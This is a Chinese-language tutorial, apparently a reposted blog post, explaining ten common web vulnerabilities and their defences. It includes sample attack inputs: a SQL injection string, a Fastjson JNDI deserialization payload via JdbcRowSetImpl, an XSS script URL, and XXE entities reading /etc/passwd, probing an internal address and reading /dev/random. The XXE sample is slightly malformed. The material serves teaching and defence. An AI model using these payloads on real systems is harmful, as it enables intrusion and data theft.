10種常見安全漏洞淺析


1. SQL 注入

1.1 什么是SQL注入?

SQL注入是一種代碼注入技術,一般被應用於攻擊web應用程序。它通過在web應用接口傳入一些特殊參數字符,來欺騙應用服務器,執行惡意的SQL命令,以達到非法獲取系統信息的目的。它目前是黑客對數據庫進行攻擊的最常用手段之一。

1.2 SQL注入是如何攻擊的?

舉個常見的業務場景:在web表單搜索框輸入員工名字,然后后台查詢出對應名字的員工。

這種場景下,一般都是前端頁面把一個名字參數name傳到后台,然后后台通過SQL把結果查詢出來

name = "田螺"; //前端傳過來的

SQL= "select * from staff where name=" + name;  //根據前端傳過來的name參數,查詢數據庫員工表staff

因為SQL是直接拼接的,如果我們完全信任前端傳的參數的話。假如前端傳這么一個參數時'' or '1'='1',SQL就變成醬紫的啦。

select * from staff where name='' or '1'='1';

這個SQL會把所有的員工信息全都查出來了,醬紫請求用戶已經越權啦。請求者可以獲取所有員工的信息,其他用戶信息已經暴露了啦。

1.3 如何預防SQL注入問題

1.3.1 使用#{}而不是${}

在MyBatis中,使用#{}而不是${},可以很大程度防止sql注入。

1.3.2 不要暴露一些不必要的日志或者安全信息,比如避免直接響應一些sql異常信息。

如果SQL發生異常了,不要把這些信息暴露響應給用戶,可以自定義異常進行響應

1.3.3 不相信任何外部輸入參數,過濾參數中含有的一些數據庫關鍵詞關鍵詞

可以加個參數校驗過濾的方法,過濾union,or等數據庫關鍵詞

1.3.4 適當的權限控制

在你查詢信息時,先校驗下當前用戶是否有這個權限。比如說,實現代碼的時候,可以讓用戶多傳一個企業Id什么的,或者獲取當前用戶的session信息等,在查詢前,先校驗一下當前用戶是否是這個企業下的等等,是的話才有這個查詢員工的權限。

2. JSON反序列化漏洞——如Fastjson安全漏洞

2.1 什么是JSON序列化,JSON發序列化

  • 序列化:把對象轉換為字節序列的過程
  • 反序列:把字節序列恢復為Java對象的過程

Json序列化就是將對象轉換成Json格式的字符串,JSON反序列化就是Json串轉換成對象

2.2 JSON 反序列化漏洞是如何被攻擊?

不安全的反序列化可以導致遠程代碼執行、重放攻擊、注入攻擊或特權升級攻擊。之前Fastjson頻繁爆出安全漏洞,我們現在分析fastjson 1.2.24版本的一個反序列化漏洞吧,這個漏洞比較常見的利用手法就是通過jndi注入的方式實現RCE。

我們先來看fastjson一個反序列化的簡單例子:

public class User {
    private String name;

    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println("調用了name方法");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println("調用了age方法");
        this.age = age;
    }

    public static void main(String[] args) {
        String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"撿田螺的小男孩\"}";
        User user = JSON.parseObject(str,User.class);
    }
}

運行結果:

調用了age方法
調用了name方法

加了@type屬性就能調用對應對象的setXXX方法,而@type表示指定反序列化成某個類。如果我們能夠找到一個類,而這個類的某個setXXX方法中通過我們的精心構造能夠完成命令執行,即可達到攻擊的目的啦。

 有興趣的小伙伴,可以看下它的源代碼

  public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }
    
      public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }
    
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

setDataSourceName 簡單設置了設置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法調用,參數剛好就是在setDataSourceName中設置的dataSourceName。

因此,有漏洞的反序列代碼實現如下即可:

public class FastjsonTest {

    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要設置改系統變量
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

漏洞復現的流程如下:

 

參考的代碼來源這里哈,fastjson漏洞代碼測試(https://github.com/earayu/fastjson_jndi_poc)

如何解決json反序列化漏洞問題

  • 可以升級版本,比如fastjson后面版本,增強AutoType打開時的安全性 fastjson,增加了AutoType黑名單等等,都是為了應對這些安全漏洞。
  • 反序列化有fastjson、gson、jackson等等類型,可以替換其他類型。
  • 升級+打開safemode

3. XSS 攻擊

3.1 什么是XSS?

 

3.2 XSS是如何攻擊的?

拿反射型舉個例子吧,流程圖如下:

 

 

 

 我們搞點簡單代碼樣例吧,首先正常html頁面如下:

<input type="text" name="name" />
<input type="submit" value="搜索" onclick="http://127.0.0.1/search?name=">
</body>
  1. 用戶輸入搜索信息,點擊搜索按鈕,就是到達正常服務器的。如果黑客在url后面的參數中加入如下的惡意攻擊代碼。
http://127.0.0.1/search?keyword="<a href ="http://www.baidu.com"><script>alert('XSS');</script></a>
  1. 當用戶打開帶有惡意代碼的URL的時候,正常服務器會解析出請求參數 name,得到"",拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:

  2. 用戶瀏覽器接收到響應后執行解析,其中的惡意代碼也會被執行到。

4.這里的鏈接我寫的是百度搜索頁,實際上黑客攻擊的時候,是引誘用戶輸入某些重要信息,然后跳到他們自己的服務器,以竊取用戶提交的內容信息。

3.3 如何解決XSS攻擊問題

  • 不相信用戶的輸入,對輸入進行過濾,過濾標簽等,只允許合法值。
  • HTML 轉義

  • 對於鏈接跳轉,如<a href="xxx" 等,要校驗內容,禁止以script開頭的非法鏈接。
  • 限制輸入長度等等

4. CSRF 攻擊

4.1 什么是CSRF 攻擊?

CSRF,跨站請求偽造(英語:Cross-site request forgery),簡單點說就是,攻擊者盜用了你的身份,以你的名義發送惡意請求。跟跨網站腳本(XSS)相比,XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。

4.2 CSRF是如何攻擊的呢?

    1. Tom 登陸銀行,沒有退出,瀏覽器包含了Tom在銀行的身份認證信息。
    2. 黑客Jerry將偽造的轉賬請求,包含在在帖子
    3. Tom在銀行網站保持登陸的情況下,瀏覽帖子
    4. 將偽造的轉賬請求連同身份認證信息,發送到銀行網站
    5. 銀行網站看到身份認證信息,以為就是Tom的合法操作,最后造成Tom資金損失。

4.3 如何解決CSRF攻擊

  • 檢查Referer字段。HTTP頭中有一個Referer字段,這個字段用以標明請求來源於哪個地址。
  • 添加校驗token。

5. 文件上傳下載漏洞

5.1 文件上傳漏洞

解決辦法一般就是:

  • 限制服務器相關文件目錄的權限
  • 校驗上傳的文件,如后綴名 禁止上傳惡意代碼的文件
  • 盡量禁止使用前端上傳的文件名

5.2 文件下載漏洞

文件下載漏洞,舉個例子,使用 .. 等字符,使應用讀取到指定目錄之外的其他目錄中的文件內容,從而可能讀取到服務器的其他相關重要信息。

6. 敏感數據泄露

這個相對比較好理解,一般敏感信息包括密碼、用戶手機身份證信息、財務數據等等,由於web應用或者API未加密或者疏忽保護,導致這些數據極易被黑客利用。所以我們需要保護好用戶的隱私數據,比如用戶密碼加密保存,請求采用https加密,重要第三方接口采用加簽驗簽,服務端日志不打印敏感數據等等。

7. XXE 漏洞

7.1 什么是XXE

7.2 XXE三種攻擊場景

  • 場景1. 攻擊者嘗試從服務端提取數據
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">]>
]>
<foo>&xxe;</foo>
  • 場景2. 攻擊者通過將上面的實體行更改為一下內容來探測服務器的專用網絡
<!ENTITY xxe SYSTEM "https://192.168.1.1/private">]>
  • 場景3. 攻擊者通過惡意文件執行拒絕服務攻擊
<!ENTITY xxe SYSTEM "file:///dev/random">]>

7.3 如何防御XXE

  • 使用開發語言提供的禁用外部實體的方法
  • 過濾用戶提交的XML數據,過濾<!DOCTYPE和<!ENTITY等關鍵詞。

8. DDoS 攻擊

8.1 什么是DDos攻擊

DDoS 攻擊,英文全稱是 Distributed Denial of Service,谷歌翻譯過來就是“分布式拒絕服務”。一般來說是指攻擊者對目標網站在較短的時間內發起大量請求,大規模消耗目標網站的主機資源,讓它無法正常服務。在線游戲、互聯網金融等領域是 DDoS 攻擊的高發行業。

8.2 如何應對 DDoS 攻擊?

  • 高防服務器,即能獨立硬防御 50Gbps 以上的服務器,能夠幫助網站拒絕服務攻擊,定期掃描網絡主節點等
  • 黑名單
  • DDoS 清洗
  • CDN 加速

9. 框架或應用漏洞

  • Struts 框架漏洞:遠程命令執行漏洞和開放重定向漏洞
  • QQ Browser 9.6:API 權限控制問題導致泄露隱私模式
  • Oracle GlassFish Server:REST CSRF
  • WebLogic: 未授權命令執行漏洞
  • Hacking Docker:Registry API 未授權訪問
  • WordPress 4.7 / 4.7.1:REST API 內容注入漏洞

10. 弱口令、證書有效性驗證、內部接口在公網暴露、未鑒權等權限相關漏洞

10.1 弱口令

10.2 證書有效性驗證漏洞

如果不對證書進行有效性驗證,那https就如同虛設啦。

  • 如果是客戶生成的證書,需要跟系統可信根CA形成信任鏈,不能為了解決ssl證書報錯的問題,選擇在客戶端代碼中信任客戶端中所有證書的方式。
  • 證書快過期時,需要提前更換。

10.3 未鑒權等權限相關漏洞

一些比較重要的接口,一般建議鑒權。比如你查詢某賬號的轉賬記錄,肯定需要先校驗該賬號是不是操作人旗下的啦。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM